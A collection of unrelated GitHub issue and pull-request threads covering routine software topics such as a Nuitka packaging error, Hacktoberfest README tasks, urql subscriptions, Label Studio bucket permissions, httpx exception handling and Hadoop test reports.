Executable: ~/.virtualenvs/nuitka-test/bin/python
OS: Linux
Arch: x86_64
Distribution: Ubuntu "20.04.3

How did you install Nuitka and Python

Installed Python using pyenv.
Installed Nuitka via pip.

The specific PyPI names and versions

python -m pip freeze
Nuitka==<IP_ADDRESS>
pycryptodome==3.12.0

Many times when you get an error from Nuitka, your setup may be special
Then even a print("hello world") program will not work, please try that and report
that instead.

Provide in your issue the Nuitka options used
#   test.py
from Crypto.Cipher import ARC4

python -m nuitka test.py --onefile -o test
Traceback (most recent call last):
  File "/tmp/.mount_testTcayZQ/test.py", line 1, in <module>
    from Crypto.Cipher import ARC4
  File "<frozen importlib._bootstrap>", line 1027, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1006, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 688, in _load_unlocked
  File "/tmp/.mount_testTcayZQ/Crypto/Cipher/ARC4.py", line 30, in <module Crypto.Cipher.ARC4>
  File "/tmp/.mount_testTcayZQ/Crypto/Util/_raw_api.py", line 309, in load_pycryptodome_raw_lib
OSError: Cannot load native module 'Crypto.Cipher._ARC4': Not found '_ARC4.cpython-310-x86_64-linux-gnu.so', Not found '_ARC4.abi3.so', Not found '_ARC4.so'

I will merge the PR and consider a hotfix with it. It seems you added also a lot of hashes and ciphers beyond that, good job.


Any One want Update Readme File for this REPO .. Just comment below.

We will provide you the complete template for that and also provide the complete logic what is do and how to do?
SOP kind if u needed.
and also hacktoberfest label on all PR.

I have done some changes in it Pls review it and add hacktoberfest label to it @py3-coder

Hey @BTANISHA11. I  need your help in Domain/language
Readme.md file . I had seen the change but I need a organized file in domain/language README.md
The changes done by you in original README.md not required.

Sure you will get @BTANISHA11
Don't Worry regarding label will provide you the label

Okk i will do it @py3-coder
Just tell me what all I need to do

Hey @BTANISHA11  .. TASK UPDATED
Go and Open the CPP folder see the readme file.
Just Do that task for at least 30-40 files and make 4 PR
of 10-15 batch updates.

I am ready to contribute . Please tell me what you need .

I would like to contribute. Please tell me what to do. Also please add hacktoberfest label to it

Thanks for joining us @divyachopra14
Go and Open the JAVA folder see the readme file.
Just Do that task for at least all files and make 4 PR
of  15-20 batch updates.

ANY ISSUE JUST COMMNET BELOW.

Thanks for joining us @Rishika10442
Go and Open the Python folder see the readme file.
Just Do that task for all files and make 4 PR ( do max you can but min 50)
of  15-20 batch updates.

ANY ISSUE JUST COMMNET BELOW.

Thanks for joining us @jyotika6221
Go and Open the C , Data Science & Golang folder see the readme file.
Just Do that task for all files and make 4 PR
Since these folder consists for very few files that why you are assigned with 3 folder (Do as much as you can)
of 15-20 batch updates.

ANY ISSUE JUST COMMNET BELOW.

Need your response from @divyachopra14 , @Rishika10442  , @jyotika6221 ,
Able to understand your task or not??

Yes sir.
On Fri, 7 Oct 2022, 13:15 Saurabh Kumar, @.***> wrote:

Need your response from @divyachopra14 https://github.com/divyachopra14
, @Rishika10442 https://github.com/Rishika10442 , @jyotika6221
https://github.com/jyotika6221 ,
Able to understand your task or not??
—
Reply to this email directly, view it on GitHub
https://github.com/py3-coder/Hacktober_Repo_22/issues/249#issuecomment-1271235672,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AT2GI47ZD2HZ3PW76SF2D7TWB7IJ3ANCNFSM6AAAAAAQ5WEWR4
.
You are receiving this because you were mentioned.Message ID:
@.***>

Thanks for joining us @divyachopra14 Go and Open the JAVA folder see the readme file. Just Do that task for all files and make 4 PR(do max you can but min 50) of 15-20 batch updates.  ANY ISSUE JUST COMMNET BELOW.

I hope I just need to complete that table. please tell me if I got it right or not ?

Yaa @divyachopra14 .

hey @BTANISHA11 any update??

Can you pls show an example how to do this still having confusion with this

I want to contribute

hey @BTANISHA11 any update??

Can you pls show an example how to do this still having confusion with this

Hey @BTANISHA11 we have already inserted the sample data kindly see the table ..
just you need to complete the table.

Just See this ...

hey @BTANISHA11 any update??

Can you pls show an example how to do this still having confusion with this

Hey @BTANISHA11 we have already inserted the sample data kindly see the table .. just you need to complete the table.
Okay but how can i edit the table its not giving me access to edit it

I want to contribute

You have to add data to the table in the README.md file of the JS Folder

Hello, all if you still facing the issue See the above all steps are mentioned by @jvm-coder ..
Kindly see the complete steps how you can edit the readme.md file for all folder the above sample is for JS folder you all need to do same for all.

hey @BTANISHA11 any update??

Can you pls show an example how to do this still having confusion with this

Hey @BTANISHA11 we have already inserted the sample data kindly see the table .. just you need to complete the table.
Okay but how can i edit the table its not giving me access to edit it

Just Fork the repo and edit in your repo after when task completed COMMIT these changes and generate PR.
Will reviews it and merge it if everything is fine. @BTANISHA11

I want to contribute

Hi, I have updated the README.md file for Golang in this PR https://github.com/py3-coder/Hacktober_Repo_22/pull/449. Please review. Thanks in advance!


Make block application

still issue
first one
lol

in progress, finally
after 2 ¹/2 weeks

guess what, just variables now

done, but just need the variable thing


Using dot instead of slash for message type-url

Using dot instead of slash for message type-url

refactory the search algorthm inside-out. finally it's done.


net: dnsConfig could be more usable as-is

dnsConfig currently reflects the contents of /etc/resolv.conf, but that means some of the fields need to be repeatedly processed in dnsclient_unix.go before being used.  For example, in tryOneName we have to call JoinHostPort every time for each queried server, producing extra garbage, or convert cfg.timeout to time.Duration.  (*dnsConfig).nameList could be simplified if we ensured search list entries always ended in a period.  Maybe there are more.
/cc @dpiddy @bradfitz

Sounds good. How about I start with changing cfg.timeout to a duration?

SGTM

This is as done as I had in mind. Can reopen or file new issues if anyone has ideas for more work.


Result is different than Binance technical analysis result

Could please help with the talib result in golang? It is looks different than the Binance dashboard. I raised the same question in stack overflow: https://stackoverflow.com/questions/68759178/result-is-different-than-binance-technical-analysis-result

I have no idea what library Binance uses to calculate their indicators. Different libraries may have slightly different results. go-talib is based off of the official version of TA-LIB and should match it's results exactly.
However, please be aware that some indicators have very long lookbacks and final results will vary based on the number of bars input. So in order to properly compare, you would need to use the exact same data and same number of input bars to get a realistic result.

yeah, the same case,
@dineshpazani , how do you handle it? any luck to resolve it now?


Fix CircleCI badge and link to project to push to

The CircleCI badge points to a different project and I think the development instruction should also read to push to the mailinglogger project.

whoops, thanks!


Use role_policy_attachment for additional policies

What this PR does / why we need it:
Use role_policy_attachments for additional policies as per https://www.terraform.io/docs/providers/aws/r/iam_policy_attachment.html
NONE

/assign @simonswine

Thanks that fixes it
/approve
/lgtm


[Android] Fix the mismatch issue.

In newer crosswalk, the parameter nums for loadXWalkLibrary() is
increased, this leads to older crosswalk can not invoke the right
function to load library in shared mode.
Keep the single parameter function to preserve backward compatibility.
Related to XWALK-5796
(cherry picked from commit 3bbe2951c1e36df079d749a2569fbc25bd042a3f)

@lincsoon Please review and merge. Thanks.

@rakuco LGTM. Please help to merge. Thanks!


Subscription with initial Query

Hi guys,
I am using urql in a page that loads a few items with a query and needs to subscribe to changes to the list. I've seen that your useSubscription hook doesn't allow for an initial query and your useQuery hook doesn't allow for a subscription.
Is there an existing method to do this? Apollo offers this as a function called subscribeToMore
Thanks!

The only way I can think of is:
function() {
     const [items, setItems] = useState([])
     const [{data: initialItems}] = useQuery({query: items})
     useSubscription({ query: addedItem }, item => setItems(items => [...items, item]));
     if(initialItems && items.length < 1) setItems(initialItems)
}

Sorry for the late reply!
useSubscription has an internal state already, so you won't need to maintain your own necessarily, but you're right in the rest of your implementation in that you use both hooks and provide the update function to useSubscription.
But instead of having an undefined state inside useSubscription you'd use the update function to maintain the list, using the useQuery state as well for it.
There's more information on what you can do with useSubscription's second argument in the docs: https://formidable.com/open-source/urql/docs/basics/#usage-with-hooks

I've tried putting in useQuery results into the handleSubscription method but it doesn't fire on initial render (only when a socket message is received) so the data from useSubscription stays undefined. I've ended up working through an adapted version of @ivosequeros posted and combining the the responses from useQuery and useSubscription in local state.
Some docs around this would be awesome and I'd be happy to help out on them once there's a clear pattern for users to follow.

Another alternative may be something like this:
const [queryResult] = useQuery({ /* ... */ });
const [subscriptionResult] = useSubscription(
  {
    // Only start/subscribe to subscription if the query has completed:
    pause: queryResult.fetching,
    // ...
  },
  // Add combination logic here and add default to query result:
  (prev = queryResult.data, item) => [...prev.items, item]
)

const data = subscriptionResult.data || queryResult.data;

Ultimately, this could be a good entry for our "Guides" document :+1:
But we'd also want to put some emphasis on the normalized caching, since once you introduce complex subscriptions, the normalized caching can be very beneficial.

Thank you for that snippet example. Been digging URQL so far. Great job to you and the team.


Move to LoadInternal pattern, allowing extension_version to be there

This should allow to have version information available, that is otherwise skipped in the current model.
Test is weak, given is not triggered by vss CI, but should work correctly in main duckdb CI.
This is to be considered for backporting also to v0.10.2.

Actually it will be properly solved in another way.


[GH-551] Replace time to the projectId when create a DB for tests

fixes: https://github.com/GoogleCloudPlatform/golang-samples/issues/551

Thank you!

Nice, thanks @cpanato!


Fix Tinkerbell E2E ENV

Issue #, if available:
Description of changes:
Remove required 1.23 env variables from tinkerbell tests
Update skipped tests
Testing (if applicable):
Documentation added/planned (if applicable):
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/lgtm
/approve


Validation to prevent duplicates

Can we do some sort of validation that a particular node (reference, collection, person, others?) does not already exist.
Validation may eventually come from the PBDB side, once the integration is built.
For the HackAThon, we will want to train people to prevent duplicates.

Let's discuss/investigate this before the August meeting. Agree we should not actually change anything before then, but just a little bit a time to map it out would be wise.

HackAThon demonstrated that this should be a high priority. Doug and Andrew already working on this and need decision on exactly where duplication checks should be emplaced.

First pass of this is in
paleobot/pbot-api@0e4689d057289cee8283f9a79fd20533e07d21dd
paleobot/pbot-api@397a39e9723fd99c2fe1baa60f0a8f26a82aeaa7
A duplication error is thrown by the following constraint violations:
Reference
Schema
	existing node with same node type AND same title

OTU
Specimen
Description
Collection
Group
	existing node with same node type AND same name

Person
	existing Person node with same given AND middle AND surname

Image
	existing Image node with IMAGE_OF relationship to same node AND same link

Character
	existing Character node with same name and CHARACTER_OF relationship to same parent

State
	existing State node with same name and STATE_OF relationship to same parent

Synonym
	existing Synonym node with SAME_AS relationships to same OTUs

Note that there is no dup check for CharacterInstances. This is because CharacterInstance is the only node type whose create and update functionality is handled in cypher rather than javascript.  Adding the dup check there is more complicated, and I'm not sure it's worth the effort. Opinions?
If it were implemented, the constraint would be:
CharacterInstance
	existing node with DEFINED_BY relationship to same Description node AND INSTANCE_OF relationship to same Character node AND HAS_STATE relationship to same State node

I cannot think of an example at this moment, but I think we might want to allow dup character instances anyway… I feel like that is correct, but again no examples yet. Anyway, good work.
From: NoisyFlowers @.>
Date: Thursday, August 17, 2023 at 12:22 PM
To: paleobot/pbot-dev @.>
Cc: Zaffos, Andrew - (azaffos) @.>, Assign @.>
Subject: [EXT]Re: [paleobot/pbot-dev] Validation to prevent duplicates (Issue #100)
External Email
First pass of this is in
@.https://github.com/paleobot/pbot-api/commit/0e4689d057289cee8283f9a79fd20533e07d21dd
@.https://github.com/paleobot/pbot-api/commit/397a39e9723fd99c2fe1baa60f0a8f26a82aeaa7
A duplication error is thrown by the following constraint violations:
Reference
Schema
    existing node with same node type AND same title

OTU
Specimen
Description
Collection
Group
    existing node with same node type AND same name

Person
    existing Person node with same given AND middle AND surname

Image
    existing Image node with IMAGE_OF relationship to same node AND same link

Character
    existing Character node with same name and CHARACTER_OF relationship to same parent

State
    existing State node with same name and STATE_OF relationship to same parent

Synonym
    existing Synonym node with SAME_AS relationships to same OTUs

Note that there is no dup check for CharacterInstances. This is because CharacterInstance is the only node type whose create and update functionality is handled in cypher rather than javascript. Adding the dup check there is more complicated, and I'm not sure it's worth the effort. Opinions?
If it were implemented, the constraint would be:
CharacterInstance
    existing node with DEFINED_BY relationship to same Description node AND INSTANCE_OF relationship to same Character node AND HAS_STATE relationship to same State node

—
Reply to this email directly, view it on GitHubhttps://github.com/paleobot/pbot-dev/issues/100#issuecomment-1682835362, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ACPQSQYKLGEMM6A62Q5CYBLXVZVPPANCNFSM6AAAAAAZX34P7M.
You are receiving this because you were assigned.Message ID: @.***>

The fix proposed should work. Even when a single fruit or seed may have
several different layers that are unique but each one is described by the
same character names, the nodes are different. Layer 1, layer 2 etc would
be different header’s (node relationships are different downstream) with
the same options of character names and state names for each. This should
all still be covered by what Doug proposes.
I feel like duplicate character instances should be a rare mistake because
of the way they are entered. The duplication would be right there for the
user to see as they enter it. However, we’ve already had complaints about
people being so many keystrokes ahead of entering character instances that
duplicates could be an issue if people are working ahead of the screen
refresh. Even though we can say this was a WiFi issue at HackAThon, it’s
going to be an issue even at good WiFi speed once people are familiar and
cranking through their data entry. Descriptions are a slow (“cumbersome“)
process right now.
If duplicates we’re allowed to exist, we’ll have to figure out how to
handle that in reporting, Ex synonymies and other comparisons. So is the
fix easier for duplicates or reporting?
I think fixing the speed of character instance entry is the highest
priority which in turn ensures duplication errors are rare. Not sure if
fixing duplication errors is harder than accommodating for duplicates in
reports, particularly synonymies.
On Thu, Aug 17, 2023 at 3:24 PM Andrew Zaffos @.***>
wrote:

I cannot think of an example at this moment, but I think we might want to
allow dup character instances anyway… I feel like that is correct, but
again no examples yet. Anyway, good work.
From: NoisyFlowers @.>
Date: Thursday, August 17, 2023 at 12:22 PM
To: paleobot/pbot-dev @.>
Cc: Zaffos, Andrew - (azaffos) @.>, Assign @.>
Subject: [EXT]Re: [paleobot/pbot-dev] Validation to prevent duplicates
(Issue #100)
External Email
First pass of this is in
@.***<
https://github.com/paleobot/pbot-api/commit/0e4689d057289cee8283f9a79fd20533e07d21dd>
@.***<
https://github.com/paleobot/pbot-api/commit/397a39e9723fd99c2fe1baa60f0a8f26a82aeaa7>
A duplication error is thrown by the following constraint violations:
Reference
Schema
existing node with same node type AND same title
OTU
Specimen
Description
Collection
Group
existing node with same node type AND same name
Person
existing Person node with same given AND middle AND surname
Image
existing Image node with IMAGE_OF relationship to same node AND same link
Character
existing Character node with same name and CHARACTER_OF relationship to
same parent
State
existing State node with same name and STATE_OF relationship to same
parent
Synonym
existing Synonym node with SAME_AS relationships to same OTUs
Note that there is no dup check for CharacterInstances. This is because
CharacterInstance is the only node type whose create and update
functionality is handled in cypher rather than javascript. Adding the dup
check there is more complicated, and I'm not sure it's worth the effort.
Opinions?
If it were implemented, the constraint would be:
CharacterInstance
existing node with DEFINED_BY relationship to same Description node AND
INSTANCE_OF relationship to same Character node AND HAS_STATE relationship
to same State node
—
Reply to this email directly, view it on GitHub<
https://github.com/paleobot/pbot-dev/issues/100#issuecomment-1682835362>,
or unsubscribe<
https://github.com/notifications/unsubscribe-auth/ACPQSQYKLGEMM6A62Q5CYBLXVZVPPANCNFSM6AAAAAAZX34P7M>.
You are receiving this because you were assigned.Message ID: @.***>
—
Reply to this email directly, view it on GitHub
https://github.com/paleobot/pbot-dev/issues/100#issuecomment-1682837915,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ARLULED3MBVJIKCIZVGWHJLXVZVXXANCNFSM6AAAAAAZX34P7M
.
You are receiving this because you commented.Message ID:
@.***>

Put some checks also in the specimen form for specimen number aka name
Great work!


GCP import doesn't work correctly

I've deploy label studio with the latest image on Kubernetes, then complete the form to connect to google storage bucket. the sync is OK, but I have  the task number updated with no picture added.

when I delete the bucket sync, i can see some objects but I cant access to it.

Someone know what is happened?

@anyght Do you have 23 tasks on your bucket or more?

I have 23 task on my bucket.

@anyght could you please provide the detailed configuration of volumes from your k8s manifest: spec.containers.volumes[]

any suggestion?

It's most likely due to label studio not being able to produce a signed URL because of Google Cloud permissions and setup.

If you run your label-studio with logging enabled, you may see errors like the above in your output when you go to the project
task list and don't see any of the tasks imported from the Google Storage Bucket.
label-studio start --log-level DEBUG --no-browser 2>&1 | tee ls_eric.log
Next question though is how to fix this.

Please ensure, that https://www.googleapis.com/auth/cloud-platform scope is granted for the instance.

What can I say, @farioas , but simply thanks.  That solved my issue.  Is there someway we can filter this important information back to the documentation to save others from running into the same issue?

@smoreface I saw your thumb up, but please, add this info to docs asap!
@farioas you rock!

Please ensure, that https://www.googleapis.com/auth/cloud-platform scope is granted for the instance.
Ref: https://cloud.google.com/compute/docs/access/create-enable-service-accounts-for-instances

Hello, do you have some references for a kubernetes deployment?

Sure 🤓
https://cloud.google.com/ai-platform/pipelines/docs/configure-gke-cluster#grant-access

this is the security configuration, that is sufficient for get bucket objet? I have try to connect on pod and execute the command gsutils cp <object>it work correctly. So, I don't known where I'm missing

@anyght , Yeah I gave that a try but didn't work for me. For me it's the same as yours, runs fine locally but in google kubernetes deployment gets permission denied error.


Feat/multi update

What this PR does:
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

Codecov Report

Merging #325 (5ba9321) into master (d2b0e7c) will decrease coverage by 0.26%.
The diff coverage is 43.94%.

@@            Coverage Diff             @@
##           master     #325      +/-   ##
==========================================
- Coverage   53.08%   52.82%   -0.27%
==========================================
  Files          87       88       +1
  Lines        4506     4659     +153
==========================================
+ Hits         2392     2461      +69
- Misses       1970     2049      +79
- Partials      144      149       +5

Impacted Files
Coverage Δ

...e/sql/undo/builder/mysql_multi_undo_log_builder.go
2.66% <0.00%> (+0.03%)
:arrow_up:

.../sql/undo/builder/mysql_update_undo_log_builder.go
29.90% <ø> (ø)

...asource/sql/undo/builder/basic_undo_log_builder.go
46.03% <33.33%> (+0.28%)
:arrow_up:

...ndo/builder/mysql_multi_update_undo_log_builder.go
44.44% <44.44%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


masonry: Fix non-resetting visual active state when releasing active button outside of its area

When pressing the button and releasing it outside of its active area, the visual pressed state (background gradient) stays "pressed". This should fix this.
(Not related to that PR) I'm not sure, if there's a case, where the disabled state could change while pressing the button and trigger a similar behavior.

(Not related to that PR) I'm not sure, if there's a case, where the disabled state could change while pressing the button and trigger a similar behavior.

I think even that should be covered with the latest commit, by not checking the disabled state at all (should not be necessary, because having an active button can not happen without having it previously disabled AFAIK.


fix(Modal): Ensure that the overlay content can be used as the focus target

Overview

Moves focus-trap up a level and manually handles clickOutside behavior so that the first child of an Overlay can be the focus target (the default for Modal).

PR Checklist

[ ] Related to designs:
[ ] Related to JIRA ticket: ABC-123
[ ] I have run this code to verify it works
[ ] This PR includes unit tests for the code change

📬Published Alpha Packages:@codecademy/gamut-labs@10.2.2-alpha.bbfac9.0@codecademy/gamut@25.3.5-alpha.bbfac9.0<EMAIL_ADDRESS>
🚀 Styleguide deploy preview ready!https://603981d860b95209bab3d2f7--gamut-preview.netlify.appDeploy Logs


[Do not merge]Generate adp

ADP RLC pr

/azp run prepare-pipelines

/azp run prepare-pipelines

/azp run prepare-pipelines

/azp run js - adp - ci

API change check
APIView has identified API level changes in this PR and created following API reviews.
azure-rest-adp-test


Split dependencies into CentOS 6,7,8 in install script

If you want it to be clearer I would suggest you work in reverse chrono order, i.e.
if ( ge 8)
elseif( ge7 )
elseif (ge 6)
else (#%@)
Also didn't sound like 6 was being testd, my hunch for fortran on Centos6 you need the devtoolset-7 version not a base version.  I know this is for Centos8.

If you want it to be clearer I would suggest you work in reverse chrono order, i.e.
if ( ge 8)
elseif( ge7 )
elseif (ge 6)
else (#%@)
Also didn't sound like 6 was being testd, my hunch for fortran on Centos6 you need the devtoolset-7 version not a base version. I know this is for Centos8.

Yeah, that's a good suggestion. The centOS 6 is there due to the name change for the numa library, but that was there before. I could've just checked for centOS 6 and then then appended the centOS 7 install dependency command, but I decided not to


Add update_sub to CNTK backend

Summary
Implement update_sub for CNTK backend function
Related Issues
#12162
PR Overview

[x] This PR requires new unit tests [y/n] (make sure tests are included)

I am unable to find any tests for update functions in backend_test.py

[N] This PR requires to update the documentation [y/n] (make sure the docs are up-to-date)
[Y] This PR is backwards compatible [y/n]
[N] This PR changes the current API [y/n] (all API changes need to be approved by fchollet)

There wasn't any PEP8 issues. It was the integration test that was failing which I believe have been fixed in latest commit


Set link to latest docs when announcing a release

Closes #44

Test run here:
https://github.com/keycloak-rel-testing/keycloak-rel/actions/runs/3136396597


[Bug] Output View Doesn't Scroll

Is this a bug report or a feature request?
Please specify whether this is a feature request or a bug.
Version Info

Version of Majestic: 1.2.20
Version of Jest: 20.0.3
Version of Node: 8.15.1
Operating System: 10.14 MacOS Mojave

Reproduction Repo
Run majestic and run your tests. Once run if you have multiple outputs from a test you cannot scroll down to read them completely. Can't provide GH repo since It's a private source for my company.
My majestic op conf:
"majestic": {
    "args": ["--env=jsdom", "--config jest.conf.json", "-u"],
    "env": {
      "NODE_PATH": "src"
    }

Could you please attach a screenshot? Also please give it a shot with the latest version. Yesterday we did fix an overflow issue.

1.2.24 Seemed to Fix the issue. Good work 👍


Password protect upload?

Is this possible? I'm running it with nginx.

I'd also very much like to see the ability to password protect just the upload page. I'm using Apache however. Do you have any idea how to implement this? Or are you working on anything in the near future that would provide this option?

Implemented in v4.0.0


Feature/version view fix

Fix some tooltips, prevent highlighting a non-existent element, do dag stuff when theres a dag

Codecov Report

:exclamation: No coverage uploaded for pull request base (develop@33d4383). Click here to learn what that means.
The diff coverage is 0%.

@@            Coverage Diff             @@
##             develop     #107   +/-   ##
==========================================
  Coverage           ?   65.99%
==========================================
  Files              ?       93
  Lines              ?     2573
  Branches           ?      328
==========================================
  Hits               ?     1698
  Misses             ?      708
  Partials           ?      167

Impacted Files
Coverage Δ

...c/app/container/dockerfile/dockerfile.component.ts
58.06% <0%> (ø)

src/app/workflow/dag/dag.component.ts
34.78% <0%> (ø)

...rc/app/workflow/paramfiles/paramfiles.component.ts
61.29% <0%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 33d4383...8ecde83. Read the comment docs.


Training Code

Due diligence

[X] I have done my due diligence in trying to find the answer myself.

Topic
Other / All
Question
Hi,
Thanks for releasing Moshi! Are there any plans to release the pre training code?
Thanks!

The FAQ has been updated to address this. They plan to release it in the near future (no specific date provided).


Color of Win key when held down does not change.

I can change Ctrl and Alt just fine, but Windows key stays blue.

Resolved, will be fixed in next update.


Question about multi-gpu training

Thanks for sharing such an excellent work：
Now I want to use eight GPUs for DDP training on a server. How should I use the script? I am a little confused about the usage of nr.
Looking forward to your reply！
thanks!

by the way
I want to use single multi-gpu training

Have you solved the problem？


Add Consumer#seek

:heart:

@dasch  will there be a doc or a description on the #seek in the docs? Thanks in advance.

@mensfeld yup, I'll add documentation for this.

@mensfeld https://github.com/zendesk/ruby-kafka/commit/0c94672c626d03a863b5a721cc47a75873bd466c

@dasch  thank you (as always!)

@dasch thanks for merging and adding docs 🎉


add httpx.ReadError handlers and throw them as OfflineException

I have checked the source code and concluded, the other exceptions where caught, but the ReadError was not. Should we make it more general and catch all httpx.NetworkErrors as OfflineExceptions @ldruschk?

I wanted to avoid catching too broad exceptions, to avoid masking checker errors that should be dealt with explicitly by checker authors (these should lead to checker errors when not explicitly handled). We should review the httpx-Exceptions and determine which are generic enogh to catch in the checker lib

here is a tree of exceptions: https://www.python-httpx.org/exceptions/

HTTPError

RequestError

TransportError

TimeoutException

ConnectTimeout
ReadTimeout
WriteTimeout
PoolTimeout

NetworkError

ConnectError
ReadError
WriteError
CloseError

ProtocolError

LocalProtocolError
RemoteProtocolError

ProxyError
UnsupportedProtocol

DecodingError
TooManyRedirects

HTTPStatusError

InvalidURL
CookieConflict
StreamError

StreamConsumed
ResponseNotRead
RequestNotRead
StreamClosed

IMO, the general issue is that the common use-case is not met. currently all errors are thrown as internal exceptions which is obviously not the case. Hence most would write a wrapper to handle exceptions, I personally got inspired by underleaf.

tbh, that is a bit of a horrible way of dealing with exceptions. If a unintended exception occurs, then it should be handled like a checker error. And if there are more 'generic' Exceptions, then it should be dealt with as the correct exception.


Please make console output more verbose

I'm using Detekt with Gradle. Detekt Gradle plugin generates beautiful HTML reports, but I don't use them. I'm looking at console output instead. Please make console output more verbose.
For example, I'm getting this message:
ReturnCount - [...] at ...

Message like this would be much more useful:
ReturnCount - [...] at ...
    Restrict the number of return statements in methods.
    Function ... has ... return statements which exceeds the limit of 2.

Thanks for your feedback!
I think we decided to not clutter the console output with too much information.
For this purpose we have several report formats.
Therefore, I'm against making this change.

I'm not using report files at all, as I'm using GitLab CI. So I need to print as much useful information to then console as possible. Maybe it makes sense to do it configurable...

But you can still persist files (in this case detekt's report files) even when using GitLab CI.

I can persist. Sure. But having verbose input whould be more convinient.

We will see what other users think about your suggestion.
Therefore, I put the according label on this issue.

BTW is there a programming API that will allows me to build my own Gradle plugin with verbose output? Could you please suggest a place where to read about it? If the API exists, how stable is it?

@remal that's certainly possible with detekt. If you want to go that way, you can do that with custom reports.
An example is located here.
However, it's not a Gradle plugin but rather a way of extending detekt's report functionality.
If you need help just ask here or in detekt's Slack channel.

@remal we would highly appreciate a more verbose ConsoleReport (https://github.com/arturbosch/detekt/blob/ed23c35505f382390ff1c57c855a33763723125e/detekt-api/src/main/kotlin/io/gitlab/arturbosch/detekt/api/ConsoleReport.kt#L14-L23)
Ours is here: https://github.com/arturbosch/detekt/blob/ed23c35505f382390ff1c57c855a33763723125e/detekt-cli/src/main/kotlin/io/gitlab/arturbosch/detekt/cli/console/FindingsReport.kt#L10
One verbose which is off by default and that could be turned on in the config file would be awesome (https://github.com/arturbosch/detekt/blob/ed23c35505f382390ff1c57c855a33763723125e/detekt-cli/src/main/resources/default-detekt-config.yml#L18-L25).

closed because of the arguments made in PR #1704


Fixes StackOverflowException in SchemaRegistry

Fixes bug (#680) that causes a StackOverflowException to be thrown when calling
GetOrRegister on SchemaRegistry when in ISchemaFilter.Apply.

Hey there - thanks for this PR. However, it breaks tests and hence existing functionality. I think I have a simple fix that will resolve the stack overflow without breaking existing behavior. When I check it in (shortly) it would be great if you could pull it down and test it locally to ensure it resolves your specific stack overflow. Cheers

See #890

So, #890 doesn't throw a StackOverflowException anymore like this pull request was trying to resolve. However, trying to get a schema from the SchemaRegistry when in a filter may return a Schema with the properties property as null. That is what I need in my schema filter.
So, to explain what I'm actually doing, I have a generic type to handle Patch. So Patch is supposed to have the schema of type T, but only with the patchable properties. So in the swagger, I want to show that the model schema for a patch is a subset of the model schema that already exists.
So here we have a patchable type:
public class Value
{
    [Patchable]
    [MinLength(3)]
    public string Str { get; set; }
    [Patchable]
    public int Num { get; set; }
    public int Id { get; set; }
}

...and here's the schema filter.
internal class PatchSchemaFilter : ISchemaFilter
{
    private IContractResolver _contractResolver;

    public PatchSchemaFilter(JsonSerializerSettings jsonSerializerSettings)
    {
        _contractResolver = jsonSerializerSettings.ContractResolver ?? new DefaultContractResolver();
    }

    public void Apply(Schema schema, SchemaRegistry schemaRegistry, Type type)
    {
        if (!type.IsGenericType || !type.GetGenericTypeDefinition().Equals(typeof(Patch<>))) return;

        var patchableType = type.GetGenericArguments().Single();
        var patchableSchema = schemaRegistry.GetOrRegister(patchableType);
        if (patchableSchema.properties == null) return;

        if (schema.properties == null)
            schema.properties = new Dictionary<string, Schema>();

        foreach (var name in GetPatchableProperties(patchableType))
        {
            if(patchableSchema.properties.ContainsKey(name))
                schema.properties.Add(name, patchableSchema.properties[name]);
        }
    }

    private IEnumerable<string> GetPatchableProperties(Type type)
    {
        var contract = _contractResolver.ResolveContract(type) as JsonObjectContract;
        if (contract == null)
            yield break;

        var properties = contract.Properties.ToDictionary(p => p.UnderlyingName, p => p);

        var members = type
            .GetMembers(BindingFlags.Instance | BindingFlags.Public)
            .Where(m => m.MemberType == MemberTypes.Field || m.MemberType == MemberTypes.Property)
            .Where(m => properties.ContainsKey(m.Name));

        foreach(var member in members)
        {
            if (member.GetCustomAttribute<PatchableAttribute>() != null)
                yield return properties[member.Name].PropertyName;
        }
    }
}

Ok, so I found another way to do this on my end, but it requires the workitems change in from #890. Will that patch be released to nuget anytime soon?


Dependency package eslint-config-prettier has a new version available

We have identified a dependency on version 7.2.0 of eslint-config-prettier. A new version (8.5.0) is available for upgrade.
Following are the steps to upgrade package dependency.

Understand the breaking changes between the version being used and the version you want to upgrade to.

Identify all packages that take a dependency on this package.

Go to the root folder for each such package (/sdk/service-name/package-name) and update package.json to have the new version.

Run rush update to ensure the new version is pulled in.

Make relevant changes to absorb the breaking changes.

Repeat steps 3 to 5 for each of the packages that have a dependency on this package.

upgrade to ^8.0.0 in PR #21733


HADOOP-16085: S3Guard versioning: get ITestS3ARemoteFileChanged to work consistently

HADOOP-16085: S3Guard versioning: get ITestS3ARemoteFileChanged to work consistently
this is #794 with 1+ extra patch on to be merged in

clear auth mode flag from FS config, so there is a metastore check before rename(file), ensuring that the values passed to the mock are consistent everywhere
change error in ChangeDetectionPolicy to make clear when an error is coming on the client for a getObjectMetadata call even when the copy policy is "server"
and fix up ITestS3ARemoteFileChanged to use the constant string defined in ChangeDetectionPolicy precisely to stop tests being brittle against changes in the text.
new tests in ITestS3ARemoteFileChanged to not lose stack traces when examining causes/inner causes of exceptions, just to throw new assertions with nested causes.
deleted a couple of unused imports
moved from two spaces after a "." to one. Sorry.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

0
reexec
39
Docker mode activated.

_ Prechecks _

+1
dupname
1
No case conflicting files found.

+1
@author
0
The patch does not contain any @author tags.

+1
test4tests
0
The patch appears to include 25 new or modified test files.

_ trunk Compile Tests _

0
mvndep
21
Maven dependency ordering for branch

+1
mvninstall
1079
trunk passed

+1
compile
1086
trunk passed

+1
checkstyle
138
trunk passed

+1
mvnsite
129
trunk passed

+1
shadedclient
1027
branch has no errors when building and testing our client artifacts.

+1
javadoc
97
trunk passed

0
spotbugs
68
Used deprecated FindBugs config; considering switching to SpotBugs.

+1
findbugs
197
trunk passed

_ Patch Compile Tests _

0
mvndep
21
Maven dependency ordering for patch

+1
mvninstall
90
the patch passed

+1
compile
1210
the patch passed

+1
javac
1210
the patch passed

-0
checkstyle
141
